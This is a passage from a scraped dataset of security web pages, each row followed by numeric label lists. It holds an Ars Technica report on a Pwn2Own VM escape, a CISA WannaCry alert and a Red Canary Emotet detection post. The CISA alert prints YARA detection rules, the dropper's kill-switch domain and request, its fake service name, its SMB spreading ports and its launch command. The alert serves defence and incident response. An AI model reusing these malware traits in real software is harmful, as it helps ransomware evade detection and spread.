\xe2\x96\xba\xc2 January (4) \xe2\x96\xba\xc2 2015 (62) \xe2\x96\xba\xc2 December (3) \xe2\x96\xba\xc2 November (3) \xe2\x96\xba\xc2 October (6) \xe2\x96\xba\xc2 September (6) \xe2\x96\xba\xc2 August (5) \xe2\x96\xba\xc2 July (4) \xe2\x96\xba\xc2 June (6) \xe2\x96\xba\xc2 May (3) \xe2\x96\xba\xc2 April (7) \xe2\x96\xba\xc2 March (8) \xe2\x96\xba\xc2 February (7) \xe2\x96\xba\xc2 January (4) \xe2\x96\xba\xc2 2014 (67) \xe2\x96\xba\xc2 December (4) \xe2\x96\xba\xc2 November (5) \xe2\x96\xba\xc2 October (6) \xe2\x96\xba\xc2 September (10) \xe2\x96\xba\xc2 August (4) \xe2\x96\xba\xc2 July (3) \xe2\x96\xba\xc2 June (6) \xe2\x96\xba\xc2 May (4) \xe2\x96\xba\xc2 April (10) \xe2\x96\xba\xc2 March (4) \xe2\x96\xba\xc2 February (3) \xe2\x96\xba\xc2 January (8) \xe2\x96\xba\xc2 2013 (30) \xe2\x96\xba\xc2 December (3) \xe2\x96\xba\xc2 November (2) \xe2\x96\xba\xc2 October (5) \xe2\x96\xba\xc2 September (2) \xe2\x96\xba\xc2 August (2) \xe2\x96\xba\xc2 July (3) \xe2\x96\xba\xc2 June (1) \xe2\x96\xba\xc2 May (2) \xe2\x96\xba\xc2 April (1) \xe2\x96\xba\xc2 March (1) \xe2\x96\xba\xc2 February (3) \xe2\x96\xba\xc2 January (5) \xe2\x96\xba\xc2 2012 (53) \xe2\x96\xba\xc2 December (3) \xe2\x96\xba\xc2 November (1) \xe2\x96\xba\xc2 October (2) \xe2\x96\xba\xc2 September (6) \xe2\x96\xba\xc2 August (7) \xe2\x96\xba\xc2 July (7) \xe2\x96\xba\xc2 June (4) \xe2\x96\xba\xc2 May (6) \xe2\x96\xba\xc2 April (5) \xe2\x96\xba\xc2 March (3) \xe2\x96\xba\xc2 February (7) \xe2\x96\xba\xc2 January (2) \xe2\x96\xba\xc2 2011 (23) \xe2\x96\xba\xc2 December (1) \xe2\x96\xba\xc2 November (4) \xe2\x96\xba\xc2 October (3) \xe2\x96\xba\xc2 September (1) \xe2\x96\xba\xc2 August (2) \xe2\x96\xba\xc2 July (3) \xe2\x96\xba\xc2 June (1) \xe2\x96\xba\xc2 May (2) \xe2\x96\xba\xc2 April (1) \xe2\x96\xba\xc2 March (2) \xe2\x96\xba\xc2 February (1) \xe2\x96\xba\xc2 January (2) \xe2\x96\xba\xc2 2010 (93) \xe2\x96\xba\xc2 December (4) \xe2\x96\xba\xc2 November (2) \xe2\x96\xba\xc2 October (4) \xe2\x96\xba\xc2 September (7) \xe2\x96\xba\xc2 August (9) \xe2\x96\xba\xc2 July (11) \xe2\x96\xba\xc2 June (12) \xe2\x96\xba\xc2 May (5) \xe2\x96\xba\xc2 April (12) \xe2\x96\xba\xc2 March (10) \xe2\x96\xba\xc2 February (7) \xe2\x96\xba\xc2 January (10) \xe2\x96\xba\xc2 2009 (146) \xe2\x96\xba\xc2 December (14) \xe2\x96\xba\xc2 November (10) \xe2\x96\xba\xc2 October (12) \xe2\x96\xba\xc2 September (13) \xe2\x96\xba\xc2 August (9) \xe2\x96\xba\xc2 July (19) \xe2\x96\xba\xc2 June (11) \xe2\x96\xba\xc2 May (13) \xe2\x96\xba\xc2 April (10) \xe2\x96\xba\xc2 March (11) \xe2\x96\xba\xc2 February (13) \xe2\x96\xba\xc2 January (11) \xe2\x96\xba\xc2 2008 (37) \xe2\x96\xba\xc2 December (12) \xe2\x96\xba\xc2 November (6) \xe2\x96\xba\xc2 October (7) \xe2\x96\xba\xc2 September (6) \xe2\x96\xba\xc2 August (3) \xe2\x96\xba\xc2 May (3) Recommended Blogs Cisco Blog Emotet is back after a summer break Snort Blog Snort OpenAppID Detectors have been updated ClamAV\xc2\xae blog ClamAV 0.102.0 Release Candidate is now available Software Reputation Center Vulnerability Information Microsoft Advisory Snort Rules IP Blacklist Download AMP Naming Conventions Talos File Reputation AWBO Exercises Library Support Communities About Careers Blog ThreatSource Newsletter Beers with Talos Podcast Connect With Us \xc2\xa9 Cisco Systems, Inc. and/or its affiliates. All rights reserved. View our Privacy Policy here.","0","1","0","1","0","1","1","0","1","0","1","0","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Virtual machine escape fetches $105,000 at Pwn2Own hacking contest [updated] | Ars Technica Skip to main content Biz & IT Tech Science Policy Cars Gaming & Culture Store Forums Subscribe Close Navigate Store Subscribe Videos Features Reviews RSS Feeds Mobile Site About Ars Staff Directory Contact Us Advertise with Ars Reprints Filter by topic Biz & IT Tech Science Policy Cars Gaming & Culture Store Forums Settings Front page layout Grid List Site theme Black on white White on black Sign in Comment activity Sign up or login to join the discussions! Stay logged in | Having trouble? Sign up to comment and more Sign up Biz & IT \xe2\x80\x94 Virtual machine escape fetches $105,000 at Pwn2Own hacking contest [updated] Hack worked by stitching together three separate exploits. Dan Goodin - Mar 17, 2017 11:10 pm UTC Enlarge Heather Katsoulis reader comments 119 with 73 posters participating, including story author Share this story Share on Facebook Share on Twitter Share on Reddit Contestants at this year's Pwn2Own hacking competition in Vancouver just pulled off an unusually impressive feat: they compromised Microsoft's heavily fortified Edge browser in a way that escapes a VMware Workstation virtual machine it runs in. The hack fetched a prize of $105,000, the highest awarded so far over the past three days. According to a Friday morning tweet from the contest's organizers, members of Qihoo 360's security team carried out the hack by exploiting a heap overflow bug in Edge, a type confusion flaw in the Windows kernel and an uninitialized buffer vulnerability in VMware, contest organizers reported Friday morning on Twitter. The result was a ""complete virtual machine escape."" ""We used a JavaScript engine bug within Microsoft Edge to achieve the code execution inside the Edge sandbox, and we used a Windows 10 kernel bug to escape from it and fully compromise the guest machine,"" Qihoo 360 Executive Director Zheng Zheng wrote in an e-mail. ""Then we exploited a hardware simulation bug within VMware to escape from the guest operating system to the host one. All started from and only by a controlled a website."" Virtual machines are vital to the security of individuals and large organizations everywhere. In server hosting environments, they're used as a container that prevents one customer's data and operating system from being accessed by other customers sharing the same physical server. Virtual machines such as the VMware Workstation hacked Friday are also used on desktop computers to isolate untrusted content. Should the guest operating system be compromised through a drive-by browsing exploit or similar attack, the hackers still don't get access to data or operating system resources on the host machine. Any hack that can break out of a widely used virtual machine is generally considered significant. The one described Friday is made all the more impressive because it works by exploiting Edge, which is regarded among security professionals as one of most challenging browsers to exploit. Typically, such remote-code exploits require two or more vulnerabilities to be exploited in unison. The requirement appears to be why the Qihoo team combined the heap overflow exploit with the Windows kernel hack. The description sets up a scenario in which malicious websites can not only compromise a visitor's virtual machine, but also the much more valuable host machine the VM runs on. At last year's Pwn2Own, contestants didn't attempt to target VMWare, an indication reliable exploits were probably worth more than the $75,000 prize that was offered at the time. Friday's success underscores the central theme of Pwn2Own, that no operating system or application is immune to hacks that thoroughly compromise its security. ""A virtual machine hypervisor is just another software-based isolation layer that can have vulnerabilities in it that permit attacks to break through,"" Dino Dai Zovi, who is co-founder and CTO of Capsule8, which provides real-time threat protection for modern infrastructure, told Ars. ""Isolation layers such as sandboxes, virtualization, and containerization all add more work for an attacker, but none are perfect. Defenders should always assume that they can be broken through with enough work by an attacker."" Dai Zovi was the winner of a $10,000 prize 10 years ago, the first year Pwn2Own was held. He won it for an exploit that fully commandeered a MacBook Pro. The VM escape came on the third and final day of the 2017 Pwn2Own hacking competition in Vancouver, British Columbia. Pwn2Own is organized by Trend Micro's Zero Day Initiative group. The contest attempts to crudely replicate the workings of a real-world zero-day market by paying cash prizes for hacks that completely hijack computers running fully patched versions of widely used operating systems and applications. This year's contest paid $233,000 on day one and $340,000 on day two. More details about the exploits that fetched those awards are here and here. Contest organizers and participants typically keep exploit details confidential until after the underlying vulnerabilities have been patched. This post was updated to add exploit details provided by Qihoo 360. Promoted Comments Dilbert Ars Legatus Legionis jump to post NoSkill wrote: Quote: At last year's Pwn2Own, contestants didn't attempt to target VMWare, an indication reliable exploits were probably worth more than the $75,000 prize that was offered at the time. Just this one method alone, in circumventing Edge to get past a VM, is a necessary exploit to prove. Without contests like this, we'll all be telling our clients/bosses/c-levels that we can't be hacked, which is what the companies selling the tech will want us to believe. It's imperative that we continue to raise awareness for vulnerabilities and getting funding for making it more worth the time to prove a hack than to use one to steal. I tell everyone to assume anything connected to the internet is hackable, and that best we can do is compartmentalize the data (segmenting and ACLs) and encryption to minimize what they can take, and have IDS/IPS and log analysis so we can quickly discover when someone gets in. If you want secure, that's a standalone computer inside a faraday cage, and search everyone coming and going for removable media in their pockets.... Just think, if a hack like this is possible, what chance do web and e-mail servers have? I bet you people are sitting on mountains of zero days for Apache, IIS, Exchange and Postfix. They are all sitting out there accessible to everyone because they have to be. 24900 posts | registered 3/15/2002 Rookie_MIB Ars Scholae Palatinae jump to post mdrejhon wrote: Breaking out of the Alcatraz, and then breaking into Fort Knox right afterwards! That's effectively what they did. Considering that it takes some pretty esoteric tricks to get out of a sandbox in the first place, getting back in and compromising the main system at pretty much the same time is rather impressive. And scary. 1293 posts | registered 4/15/2010 reader comments 119 with 73 posters participating, including story author Share this story Share on Facebook Share on Twitter Share on Reddit Dan Goodin Dan is the Security Editor at Ars Technica, which he joined in 2012 after working for The Register, the Associated Press, Bloomberg News, and other publications. Email dan.goodin@arstechnica.com // Twitter @dangoodin001 You must login or create an account to comment. Channel Ars Technica \xe2\x86\x90 Previous story Next story \xe2\x86\x92 Related Stories Sponsored Stories Powered by Today on Ars Store Subscribe About Us RSS Feeds View Mobile Site Contact Us Staff Advertise with us Reprints Newsletter Signup Join the Ars Orbital Transmission mailing list to get weekly updates delivered to your inbox. CNMN Collection WIRED Media Group \xc2\xa9 2019 Cond\xc3\xa9 Nast. All rights reserved. Use of and/or registration on any portion of this site constitutes acceptance of our User Agreement (updated 5/25/18) and Privacy Policy and Cookie Statement (updated 5/25/18) and Ars Technica Addendum (effective 8/21/2018). Ars may earn compensation on sales from links on this site. Read our affiliate link policy. Your California Privacy Rights The material on this site may not be reproduced, distributed, transmitted, cached or otherwise used, except with the prior written permission of Cond\xc3\xa9 Nast. Ad Choices","1","1","0","0","1","1","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0" -"Skip to main content Toggle navigation US Department of Homeland Security CISA Cyber + Infrastructure National Cyber Awareness System Alerts Indicators Associated With WannaCry Ransomware More Alerts Alert (TA17-132A) Indicators Associated With WannaCry Ransomware Original release date: May 12, 2017 | Last revised: June 07, 2018 Print Document Tweet Like Me Share Systems Affected Microsoft Windows operating systems Overview This Alert has been updated to reflect the U.S. Government's public attribution of the ""WannaCry"" ransomware variant to the North Korean government. Additional information on the attribution may be found in a press briefing from the White House. For more information related to WannaCry activity, go to https://www.us-cert.gov/hiddencobra. According to numerous open-source reports, a widespread ransomware campaign is affecting various organizations with reports of tens of thousands of infections in over 150 countries, including the United States, United Kingdom, Spain, Russia, Taiwan, France, and Japan. The software can run in as many as 27 different languages. The latest version of this ransomware variant, known as WannaCry, WCry, or Wanna Decryptor, was discovered the morning of May 12, 2017, by an independent security researcher and has spread rapidly over several hours, with initial reports beginning around 4:00 AM EDT, May 12, 2017. Open-source reporting indicates a requested ransom of .1781 bitcoins, roughly $300 U.S. This Alert is the result of efforts between the Department of Homeland Security (DHS) National Cybersecurity and Communications Integration Center (NCCIC) and the Federal Bureau of Investigation (FBI) to highlight known cyber threats. DHS and the FBI continue to pursue related information of threats to federal, state, and local government systems and as such, further releases of technical information may be forthcoming. Description Initial reports indicate the hacker or hacking group behind the WannaCry campaign is gaining access to enterprise servers through the exploitation of a critical Windows SMB vulnerability. Microsoft released a security update for the MS17-010 vulnerability on March 14, 2017. Additionally, Microsoft released patches for Windows XP, Windows 8, and Windows Server 2003 operating systems on May 13, 2017. According to open sources, one possible infection vector may be through phishing. Technical Details Indicators of Compromise (IOC) See TA17-132A_WannaCry.xlsx and TA17-132A_WannaCry_stix.xml for IOCs developed immediately after WannaCry ransomware appeared. These links contain identical content in two different formats. See TA17-132A_stix.xml for IOCs developed after further analysis of the WannaCry malware. Analysis Three files were submitted to US-CERT for analysis. All files are confirmed as components of a ransomware campaign identified as ""WannaCry"", a.k.a ""WannaCrypt"" or "".wnCry"". The first file is a dropper, which contains and runs the ransomware, propagating via the MS17-010/EternalBlue SMBv1.0 exploit. The remaining two files are ransomware components containing encrypted plug-ins responsible for encrypting the victim users files. For a list of IOCs found during analysis, see the STIX file. Displayed below are YARA signatures that can be used to detect the ransomware: Yara Signatures rule Wanna_Cry_Ransomware_Generic { meta: description = ""Detects WannaCry Ransomware on Disk and in Virtual Page"" author = ""US-CERT Code Analysis Team"" reference = ""not set"" date = ""2017/05/12"" hash0 = ""4DA1F312A214C07143ABEEAFB695D904"" strings: $s0 = {410044004D0049004E0024} $s1 = ""WannaDecryptor"" $s2 = ""WANNACRY"" $s3 = ""Microsoft Enhanced RSA and AES Cryptographic"" $s4 = ""PKS"" $s5 = ""StartTask"" $s6 = ""wcry@123"" $s7 = {2F6600002F72} $s8 = ""unzip 0.15 Copyrigh"" $s9 = ""Global\\\\WINDOWS_TASKOSHT_MUTEX"" $s10 = ""Global\\\\WINDOWS_TASKCST_MUTEX"" $s11 = {7461736B736368652E657865000000005461736B5374617274000000742E776E7279000069636163} $s12 = {6C73202E202F6772616E742045766572796F6E653A46202F54202F43202F5100617474726962202B68} $s13 = ""WNcry@2ol7"" $s14 = ""wcry@123"" $s15 = ""Global\\\\MsWinZonesCacheCounterMutexA"" condition: $s0 and $s1 and $s2 and $s3 or $s4 and $s5 and $s6 and $s7 or $s8 and $s9 and $s10 or $s11 and $s12 or $s13 or $s14 or $s15 } /*The following Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as long as you use it under this license.*/ rule MS17_010_WanaCry_worm { meta: description = ""Worm exploiting MS17-010 and dropping WannaCry Ransomware"" author = ""Felipe Molina (@felmoltor)"" reference = ""https://www.exploit-db.com/exploits/41987/"" date = ""2017/05/12"" strings: $ms17010_str1=""PC NETWORK PROGRAM 1.0"" $ms17010_str2=""LANMAN1.0"" $ms17010_str3=""Windows for Workgroups 3.1a"" $ms17010_str4=""__TREEID__PLACEHOLDER__"" $ms17010_str5=""__USERID__PLACEHOLDER__"" $wannacry_payload_substr1 = ""h6agLCqPqVyXi2VSQ8O6Yb9ijBX54j"" $wannacry_payload_substr2 = ""h54WfF9cGigWFEx92bzmOd0UOaZlM"" $wannacry_payload_substr3 = ""tpGFEoLOU6+5I78Toh/nHs/RAP"" condition: all of them } Dropper This artifact (5bef35496fcbdbe841c82f4d1ab8b7c2) is a malicious PE32 executable that has been identified as a WannaCry ransomware dropper. Upon execution, the dropper attempts to connect to the following hard-coded URI: http[:]//www[.]iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com. Displayed below is a sample request observed: --Begin request\xe2\x80\x94 GET / HTTP/1.1 Host: www[.]iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com Cache-Control: no-cache --End request-- If a connection is established, the dropper will terminate execution. If the connection fails, the dropper will infect the system with ransomware. When executed, the malware is designed to run as a service with the parameters \xe2\x80\x9c-m security\xe2\x80\x9d. During runtime, the malware determines the number of arguments passed during execution. If the arguments passed are less than two, the dropper proceeds to install itself as the following service: --Begin service-- ServiceName = ""mssecsvc2.0"" DisplayName = ""Microsoft Security Center (2.0) Service"" StartType = SERVICE_AUTO_START BinaryPathName = ""%current directory%5bef35496fcbdbe841c82f4d1ab8b7c2.exe -m security"" --End service-- Once the malware starts as a service named mssecsvc2.0, the dropper attempts to create and scan a list of IP ranges on the local network and attempts to connect using UDP ports 137, 138 and TCP ports 139, 445. If a connection to port 445 is successful, it creates an additional thread to propagate by exploiting the SMBv1 vulnerability documented by Microsoft Security bulliten MS17-010. The malware then extracts & installs a PE32 binary from it's resource section named ""R"". This binary has been identified as the ransomware component of WannaCrypt. The dropper installs this binary into ""C:\\WINDOWS\\tasksche.exe."" The dropper executes tasksche.exe with the following command: --Begin command-- ""C:\\WINDOWS\\tasksche.exe /i"" --End command\xe2\x80\x94 Note: ===== When this sample was initially discovered, the domain ""iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com"" was not registered, allowing the malware to run and propagate freely. However within a few days, researchers learned that by registering the domain and allowing the malware to connect, it's ability to spread was greatly reduced. At this time, all traffic to ""iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com"" is re-directed to a monitored, non-malicious server, causing the malware to terminate if it is allowed to connect. For this reason, we recommend that administrators and network security personnel not block traffic to this domain. Impact Ransomware not only targets home users; businesses can also become infected with ransomware, leading to negative consequences, including temporary or permanent loss of sensitive or proprietary information, disruption to regular operations, financial losses incurred to restore systems and files, and potential harm to an organization\xe2\x80\x99s reputation. Paying the ransom does not guarantee the encrypted files will be released; it only guarantees that the malicious actors receive the victim\xe2\x80\x99s money, and in some cases, their banking information. In addition, decrypting files does not mean the malware infection itself has been removed. Solution Recommended Steps for Prevention Apply the Microsoft patch for the MS17-010 SMB vulnerability dated March 14, 2017. Enable strong spam filters to prevent phishing emails from reaching the end users and authenticate in-bound email using technologies like Sender Policy Framework (SPF), Domain Message Authentication Reporting and Conformance (DMARC), and DomainKeys Identified Mail (DKIM) to prevent email spoofing. Scan all incoming and outgoing emails to detect threats and filter executable files from reaching the end users. Ensure anti-virus and anti-malware solutions are set to automatically conduct regular scans. Manage the use of privileged accounts. Implement the principle of least privilege. No users should be assigned administrative access unless absolutely needed. Those with a need for administrator accounts should only use them when necessary. Configure access controls including file, directory, and network share permissions with least privilege in mind. If a user only needs to read specific files, they should not have write access to those files, directories, or shares. Disable macro scripts from Microsoft Office files transmitted via email. Consider using Office Viewer software to open Microsoft Office files transmitted via email instead of full Office suite applications. Develop, institute, and practice employee education programs for identifying scams, malicious links, and attempted social engineering. Run regular penetration tests against the network, no less than once a year. Ideally, run these as often as possible and practical. Test your backups to ensure they work correctly upon use. Recommendations for Network Protection Apply the patch (MS17-010). If the patch cannot be applied, consider: Disabling SMBv1 and blocking all versions of SMB at the network boundary by blocking TCP port 445 with related protocols on UDP ports 137-138 and TCP port 139, for all boundary devices. Note: disabling or blocking SMB may create problems by obstructing access to shared files, data, or devices. The benefits of mitigation should be weighed against potential disruptions to users. Review US-CERT\xe2\x80\x99s Alert on The Increasing Threat to Network Infrastructure Devices and Recommended Mitigations and consider implementing the following best practices: Segregate networks and functions. Limit unnecessary lateral communications. Harden network devices. Secure access to infrastructure devices. Perform out-of-band network management. Validate integrity of hardware and software. Recommended Steps for Remediation Contact law enforcement. We strongly encourage you to contact a local FBI field office upon discovery to report an intrusion and request assistance. Maintain and provide relevant logs. Implement your security incident response and business continuity plan. Ideally, organizations should ensure they have appropriate backups so their response is simply to restore the data from a known clean backup. Defending Against Ransomware Generally Precautionary measures to mitigate ransomware threats include: Ensure anti-virus software is up-to-date. Implement a data back-up and recovery plan to maintain copies of sensitive or proprietary data in a separate and secure location. Backup copies of sensitive data should not be readily accessible from local networks. Scrutinize links contained in emails, and do not open attachments included in unsolicited emails. Only download software\xe2\x80\x94especially free software\xe2\x80\x94from sites you know and trust. Enable automated patches for your operating system and Web browser. Report Notice DHS and FBI encourages recipients who identify the use of tool(s) or techniques discussed in this document to report information to DHS or law enforcement immediately. We encourage you to contact DHS\xe2\x80\x99s National Cybersecurity and Communications Integration Center (NCCIC) (NCCICcustomerservice@hq.dhs.gov or 888-282-0870), or the FBI through a local field office or the FBI\xe2\x80\x99s Cyber Division (CyWatch@ic.fbi.gov or 855-292-3937) to report an intrusion and to request incident response resources or technical assistance. References Malwarebytes LABS: WanaCrypt0r ransomware hits it big just before the weekend Malwarebytes LABS: The worm that spreads WanaCrypt0r Microsoft: Microsoft Security Bulletin MS17-010 Forbes: An NSA Cyber Weapon Might Be Behind A Massive Global Ransomware Outbreak Reuters: Factbox: Don't click - What is the 'ransomware' WannaCry worm? GitHubGist: WannaCry|WannaDecrypt0r NSA-Cyberweapon-Powered Ransomware Worm Microsoft: Microsoft Update Catalog: Patches for Windows XP, Windows 8, and Win\xe2\x80\xa6 Cisco: Player 3 Has Entered the Game: Say Hello to 'WannaCry' Washington Post: More than 150 countries affected by massive cyberattack, Europ\xe2\x80\xa6 Revisions May 12, 2017: Initial post May 14, 2017: Corrected Syntax in the second Yara Rule May 14, 2017: Added Microsoft link to patches for Windows XP, Windows 8, and Windows Server 2003 May 14, 2017: Corrected Syntax in the first Yara Rule May 16, 2017: Provided further analysis and new IOCs in STIX format May 18, 2017: Provided initial IOCs in a STIX format June 7, 2018: Added attribution of the WannaCry malware variant to the North Korean government and link to White House press briefing This product is provided subject to this Notification and this Privacy & Use policy. Was this document helpful? Yes | Somewhat | No Contact Us phone icon(888)282-0870 email iconSend us email lock iconDownload PGP/GPG keys Subscribe to Alerts Receive security alerts, tips, and other updates. Enter your email address Enter your email address twitter iconrss icon Home Site Map FAQ Contact Us Traffic Light Protocol PCII Accountability Disclaimer DHS Privacy Policy FOIA No Fear Act Accessibility Plain Writing Plug-ins Inspector General The White House USA.gov CISA is part of the Department of Homeland Security","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Search FEBRUARY 13, 2019 \xe2\x80\xa2DETECTION AND RESPONSE BRIAN DONOHUE Stopping Emotet Before it Moves Laterally We\xe2\x80\x99ve written a lot about lateral movement on this blog, and we\xe2\x80\x99re about to take a long look at the tactic with some of our friends from MITRE and Carbon Black in an upcoming webinar. However, if you\xe2\x80\x99re dealing with lateral movement, it\xe2\x80\x99s likely something has already gone wrong in your environment. As a precursor to our lateral movement webinar, we\xe2\x80\x99re going to examine how our Cyber Incident Response Team (CIRT) can detect adversaries attempting to execute Emotet\xe2\x80\x94and, by extension, other email-borne threats\xe2\x80\x94before it compromises a customer environment. You can use the information here to help develop a strategy for detecting Emotet (and other trojans) before a compromise occurs, and then you can use our lateral movement webinar to create strategies for dealing with Emotet and other laterally moving malware or adversaries in cases where a breach has already occurred. We chose to highlight Emotet here and in the webinar because it is one of the most prolific (and headache-inducing) lateral movers. Also, as Jessica Payne from Microsoft explained in a recent Twitter thread, strategies for detecting Emotet are applicable to a wide variety of other adversary behaviors in both malware and hands-on techniques. pic.twitter.com/WBOf0VWe1J \xe2\x80\x94 Brian Baskin (@bbaskin) January 2, 2019 It All Starts with a Malicious Document As is so often the case, our detection\xe2\x80\x94and the potential infection it alerted our customer about\xe2\x80\x94started with a malicious Microsoft Word document. The document was delivered as an attachment in an email message containing a macro to launch an encoded command line. After executing, the Word document spawned cmd.exe with an obfuscated command line. The cmd.exe process, in turn, launched another obfuscated command line: Microsoft Word Launches PowerShell\xe2\x80\xa6 Eventually This chain of obfuscated commands ultimately led to PowerShell, which is where things started to get interesting. In the detection timeline, PowerShell made an outbound network connection to a compromised website and downloaded an executable binary. Our internal threat intelligence (and VirusTotal) revealed that the hash of the downloaded binary was associated with the Emotet trojan. PowerShell eventually executed that binary, which, in turn, wrote a new binary and deleted itself. What Next? In an uninhibited Emotet infection, it\xe2\x80\x99s likely the malware would have then attempted to move laterally to other machines in the environment. There are numerous means for lateral movement, but Emotet has been known to move from machine to machine by leveraging a server message block (SMB) vulnerability exploit like ETERNALBLUE or by brute-forcing credentials for access to Windows Administrative Shares. Malwarebytes has some good analyses of Emotet if you\xe2\x80\x99re looking for further reading. Detecting Emotet Of course, many security tools or services can detect and block an attempted Emotet infection when the MD5 hash of the binary is known to be malicious and when the site hosting that binary is known to have been compromised. However, the malicious binary and the compromised website, while certainly helpful in this particular detection scenario, are not required for detection. In fact, we have at least five distinct opportunities here\xe2\x80\x94each of which triggered an event in our backend\xe2\x80\x94for the Red Canary CIRT to have detected this activity in the absence of a known bad hash or compromised website: Microsoft Word spawned command line A command line contained obfuscated environmental variables A PowerShell command leveraged the Invoke-Item cmdlet A PowerShell command contained a URL PowerShell downloaded a file Any one of these elements would have raised a flag for our CIRT, which would have then investigated the surrounding context and informed the customer of this confirmed threat accordingly. Looking for similar activity in your environment can yield similar results, once you tune out authorized activity such as that from client management tools. Conclusion We hope this article proves useful for anyone seeking out strategies for detecting Emotet and many other email-born malware that use PowerShell to load malicious binaries\xe2\x80\x94known or otherwise\xe2\x80\x94from external hosts. As mentioned at the outset, this threat detection blog is a predecessor to an on-demand webinar on lateral movement. You can access that webinar by clicking the image below: Our intention is to first offer strategies so you can detect and ultimately prevent Emotet and other malware infections with this blog, and then to offer additional guidance in the webinar so you can apply lateral movement detection strategies to root out traces of higher-level adversaries in your environment. With the right combination of visibility and context, you can own your network and stop adversaries in their tracks! RELATED ARTICLES AUGUST 21, 2019 DETECTION AND RESPONSE It\xe2\x80\x99s all fun and games until ransomware deletes the shadow copies AUGUST 8, 2019 DETECTION AND RESPONSE Black Hat: Detecting the unknown and disclosing a new attack technique AUGUST 7, 2019 DETECTION AND RESPONSE Exploring the phases of incident response: visibility, containment, & response JULY 31, 2019 DETECTION AND RESPONSE Frankenstein was a hack: the copy/paste cryptominer Subscribe to our blog Email Address See what it's like to have a partner in the fight. Experience the difference between a sense of security and actual security. Request demo PRODUCTS SOLUTIONS RESOURCES BLOG ATOMIC RED TEAM COMPANY CONTACT US \xc2\xa9 2014-2019 Red Canary. All rights reserved. info@redcanary.com +1 855-977-0686 Privacy Policy Our website uses cookies to provide you with a better browsing experience. More information can be found in our Privacy Policy. ACCEPT Necessary Always Enabled","0","1","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0" -"Microsoft Security Bulletin MS17-010 - Critical | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Microsoft Security Bulletin MS17-010 - Critical 10/11/2017 13 minutes to read In this article Security Update for Microsoft Windows SMB Server (4013389) Published: March 14, 2017 Version: 1.0 Executive Summary This security update resolves vulnerabilities in Microsoft Windows. The most severe of the vulnerabilities could allow remote code execution if an attacker sends specially crafted messages to a Microsoft Server Message Block 1.0 (SMBv1) server. This security update is rated Critical for all supported releases of Microsoft Windows. For more information, see the Affected Software and Vulnerability Severity Ratings section. The security update addresses the vulnerabilities by correcting how SMBv1 handles specially crafted requests. For more information about the vulnerabilities, see the Vulnerability Information section. For more information about this update, see Microsoft Knowledge Base Article 4013389. Affected Software and Vulnerability Severity Ratings The following software versions or editions are affected. Versions or editions that are not listed are either past their support life cycle or are not affected. To determine the support life cycle for your software version or edition, see Microsoft Support Lifecycle. The severity ratings indicated for each affected software assume the potential maximum impact of the vulnerability. For 